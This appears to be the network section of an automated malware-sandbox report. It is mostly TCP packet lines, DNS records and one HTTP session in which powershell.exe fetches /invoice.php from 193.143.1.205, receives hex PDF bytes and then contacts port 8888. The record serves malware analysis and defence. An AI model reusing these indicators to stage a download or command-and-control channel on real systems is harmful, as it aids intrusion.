Jan 11, 2025 06:50:36.658432007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658444881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658468962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.658487082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.658507109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658518076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658528090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658549070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.660640001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.671154022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671169043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671180010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671207905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671219110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671230078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671251059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.671271086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671283960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671297073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.671298027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671310902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671322107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.671331882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.671415091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671426058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671437979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671463966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.671487093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.671510935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671521902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671565056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.671570063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671581984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671591997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.671618938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.687673092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.687701941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.687711000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.687722921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.687736988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.687761068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.691981077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.691993952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.692004919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.692033052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.692056894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.692133904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.692146063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.692157984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.692169905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.692198992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.692220926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.708286047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708300114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708311081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708364010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.708477974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708493948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708503962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708514929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708527088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.708530903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708542109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708547115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.708551884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708564043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708574057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708581924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.708583117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708592892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708602905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.708604097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708614111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.708622932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.708633900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.708652020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.722692013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.722779036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.722789049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.722800016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.722817898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.722827911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.722836018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.722841024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.722851038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.722870111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.722906113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743295908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743334055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743344069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743355036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743367910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743391991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743403912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743422031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743422985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743432999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743453026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743467093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743472099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743479013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743508101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743510962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743519068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743551016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743640900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743658066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743669987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743680000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743683100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743693113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743705034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743710995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743736982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743738890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743748903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743772030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743776083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743783951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743797064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743812084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743835926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743887901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743899107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743911982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743922949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743933916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.743938923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743969917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.743995905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744008064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744018078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744029999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744046926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744052887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744071007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744083881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744128942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744139910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744149923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744180918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744185925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744195938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744225025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744234085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744246006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744257927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744277000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744297028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744417906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744435072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744446039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744456053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744468927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744478941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744486094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744492054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744503021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744507074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744524956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744530916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744541883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744548082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744554043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744554043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744596958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744673014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744683981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744694948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744705915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744716883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744726896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744729042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744756937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744786978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744797945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744807959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744831085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744832039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744843960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744856119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744872093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744895935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.744954109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744965076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744976044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744987011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.744997978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.745007038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.745039940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.750044107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.757524967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757548094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757560015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757576942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757596016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757612944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757625103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757635117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757637978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.757647038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757656097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757668018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757682085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757694006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757699966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.757735968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.757749081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757761002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757772923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.757807970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.778399944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.778413057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.778424978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.778443098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.778454065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.778465986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.778467894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.778476000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.778487921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.778498888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.778527975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.794596910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794611931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794631004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794644117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794656038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794656992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.794667959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794682980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794698954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.794702053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794719934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.794720888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794733047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794742107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794753075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794764996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.794779062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.794802904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794814110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794842005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794846058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.794855118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.794888020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.808981895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.809016943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.809035063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.809052944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.809065104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.809066057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.809077978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.809091091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.809103012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.809125900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.809163094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.829706907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829727888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829740047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829751968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829763889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829775095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829783916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.829794884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829806089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829814911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829821110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829829931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.829855919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829865932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.829869032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829896927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.829898119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829911947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829941034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829945087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.829953909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.829983950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.830054045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.830065966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.830076933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.830092907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.830121994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.832959890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.837934971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.955302000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:37.356519938 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:37.361561060 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:37.361664057 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:37.362427950 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:37.367300987 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:38.156821966 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:38.211832047 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:38.383482933 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:52:43.841387987 CET	54675	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:52:43.846323967 CET	53	54675	1.1.1.1	192.168.2.4
Jan 11, 2025 06:52:43.848428965 CET	54675	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:52:43.848450899 CET	54675	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:52:43.853337049 CET	53	54675	1.1.1.1	192.168.2.4
Jan 11, 2025 06:52:44.313340902 CET	53	54675	1.1.1.1	192.168.2.4
Jan 11, 2025 06:52:44.313617945 CET	54675	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:52:44.318644047 CET	53	54675	1.1.1.1	192.168.2.4
Jan 11, 2025 06:52:44.318701982 CET	54675	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:50:50.295444965 CET	50998	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:52:43.837502003 CET	53	64539	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:50:50.295444965 CET	192.168.2.4	1.1.1.1	0xac7b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:50:50.302490950 CET	1.1.1.1	192.168.2.4	0xac7b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:50:50.727441072 CET	1.1.1.1	192.168.2.4	0xae77	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:50:50.727441072 CET	1.1.1.1	192.168.2.4	0xae77	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	5544	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:50:35.290621996 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:50:36.086124897 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:50:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 